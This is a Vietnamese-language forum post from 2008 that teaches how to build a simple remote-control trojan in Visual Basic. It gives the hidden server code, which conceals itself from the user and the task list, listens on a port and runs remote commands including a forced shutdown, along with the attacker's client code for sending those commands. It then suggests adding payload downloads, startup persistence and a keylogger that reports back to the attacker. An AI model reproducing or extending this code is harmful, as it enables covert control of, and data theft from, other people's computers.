Tiêu đề: Cach viet mot virut trojan don gian? Tue Jul 08, 2008 9:57 am
Viết một Trojan dễ dng hơn nhiều so với mọi người nghĩ. Tất cả thực sự chỉ cần hai chương trnh ứng dụng đơn giản với nội dung t hơn 100 dng m lệnh.
Chương trnh đầu tin l client, l chương trnh cho người sử dụng biết. Chương trnh thứ hai l server, hay phần trojan thực.
By giờ chng ta sẽ xem chng ta cần g cho cả hai v một số v dụ mẫu.
Server
Server l phần Trojan của chương trnh. N cần phải được giấu để người dng bnh thường khng thể tm thấy n. Để thực hiện điều ny bạn bắt đầu bằng cch sử dụng đoạn m lệnh sau:
Private Sub Form_Load() Me.Visible = False End Sub
Đoạn m ny lm cho chương trnh khng thể thấy được bằng mắt thường nhưng c thể bị pht hiện trong Task Manager của Windows v thế nếu muốn chương trnh ẩn tốt hơn, chng ta c thể viết đoạn m như sau:
Private Sub Form_Load() Me.Visible = False App.TaskVisible = False End Sub
(Trong hệ điều hnh Windows, tất cả chương trnh c đui .exe đều được thể hiện trong danh sch chương trnh chạy. Tuy nhin chương trnh của bạn sẽ được ẩn trong Running Applications List )
By giờ chng ta đ c một chương trnh tng hnh đối với người sử dụng bnh thường, m chỉ cần c bốn dng lệnh. Tuy nhin n vẫn cn qu đơn giản, chng ta c thể lm cho n tốt hơn bằng cch thm vo một số hm.
Đầu tin l lm sao cho n c thể nghe được cc kết nối khi n xm nhập được vo my, chng ta cần thm vo một điều khiển Winsock Control.
Ti đặt tn cho điều khiển của ti l win. Cn cc bạn c thể đặt l bất cứ ci g tuỳ .
Để lm cho Trojan "nghe" được cổng 2999 khi khởi động, chng ta viết đoạn m như sau:
Private Sub Form_Load() Me.Visible = False App.TaskVisible = False win.LocalPort = 2999 win.RemotePort = 455 win.Listen End Sub
Đoạn m ny thiết lập một cổng mở cục bộ tới cổng 2999, v cổng m n gửi tới l 445.
By giờ, chương trnh đ c thể nghe, nhưng chưa lm được điều g r rng cả.
Chng ta thm đoạn m sau vo form chnh:
Private Sub win_ConnectionRequest(ByVal requestID As Long) win.Close win.Accept requestID End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long) win.GetData GotDat DoActions (GotDat) End Sub
Tiếp theo, chng ta sẽ viết hm DoActions như l một chương trnh con để gọi vo main form. Đoạn m trn thực hiện hai nhiệm vụ: Đầu tin l lm cho tất cả cc yu cầu kết nối được tự động chấp nhận; tiếp đ l lm cho tất cả cc dữ liệu được tự động chấp nhận v sau đ th chuyển ton bộ dữ liệu ny sang cho hm DoActions m chng ta sẽ viết dưới đy.
Hm DoActions nn viết ở dạng public để cc chương trnh ở ngoi modul cũng c thể dng được. Thm đoạn m sau vo modul, v chng ta đang lm việc với server của Trojan:
Public Function DoActions(x As String) Select Case x Case "msgbox" Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error" Case "shutdown" shell "shutdown -s -f -t 00" End Select End Function
By giờ bạn đ c một chương trnh m khi dữ liệu Msgbox được gửi tới cổng 2999, n sẽ thể hiện một hộp tin nhắn msgbox trn my tnh của nạn nhn. Khi dữ liệu shutdown được gửi tới cổng 2999, n sẽ tắt my tnh của nạn nhn. Ti dng cu lệnh Select Case để dễ dng chỉnh sửa đoạn m về sau ny. Xin chc mừng, bạn vừa mới viết xong Trojan đầu tin của bạn. By giờ chng ta hy xem lại đoạn m hon chỉnh.
Main Form
Private Sub Form_Load() Me.Visible = False App.TaskVisible = False win.LocalPort = 2999 win.RemotePort = 455 win.Listen End Sub
Pivate Sub win_ConnectionRequest(ByVal requestID As Long) win.Close win.Accept requestID End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long) win.GetData GotDat DoActions (GotDat) End Sub
Hy nhớ thm điều khiển winsock v đặt tn n l win nếu bạn dng đoạn m ny:
Module
Public Function DoActions(x As String) Select Case x Case "msgbox" Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error" Case "shutdown" shell "shutdown -s -f -t 00" End Select End Function
Tất cả phần Server của Trojan chỉ c thể. Giờ chng ta xem xt đến phần Client.
Client
Client l ci m bạn sẽ tương tc tới. Bạn sẽ dng n để kết nối tới server từ xa (trojan) v gửi cho n cc lệnh. Sau khi đ viết được phần server chấp nhận cu lệnh shutdown, msgbox, chng ta hy tạo ra một client gửi đi cc cu lệnh đ.
Tạo một form thm một điều khiển Winsock Control, một hộp text box v bốn nt. Trong đoạn m dưới hộp text box được đặt tn l txtIP, cc nt được đặt tn l cmdConnect, cmdMsgbox, cmdShutdown v cmdDisconnect. Đoạn m như sau:
Private Sub cmdConnect_Click() IpAddy = txtIp.Text Win.Close Win.RemotePort = 2999 Win.RemoteHost = IpAddy Win.LocalPort = 9999 Win.Connect cmdConnect.Enabled = False End Sub
Private Sub cmdDisconnect_Click() Win.Close cmdConnect.Enabled = True End Sub
Private Sub cmdMsgbox_Click() Win.SendData "msgbox" End Sub
Private Sub cmdShutdown_Click() Win.SendData "shutdown" End Sub
Đ l đoạn m cho client. Tất cả việc n lm l lấy địa chỉ IP từ txtIP v kết nối với cổng từ xa 2999. Sau khi được kết nối, bạn c thể gửi dữ liệu shutdown hay msgbox tới server v cc hoạt động tương ứng sẽ được thực hiện (tắt my tnh hay thể hiện một hộp tin nhắn).
Hai chương trnh ny lm được rất t nhưng c thể cải tiến nhanh ***ng thnh một chức năng quản trị từ xa mạnh nếu bạn biết bạn đang lm g. Ti đề nghị l nn cố gắng thm cc loại điều khiển lỗi v hm cho cả client v server.
Lời khuyn
Hy lm cho server c thể tải được một file đặc tả của người tấn cng.
Thm m lệnh để Server được thực thi lc khởi động (l một kho thanh ghi).
V một keylogger cho server lm cho n gửi thng tin cho người tấn cng. moi chi tiet xin lien he:vinh_kien2005@yahoo.com
Thông điệp:
--*--{Hãy cùng chia s? v?i b?n bè b?ng cách }--*--
Copy du?ng link du?i dây g?i d?n nick yahoo b?n bè!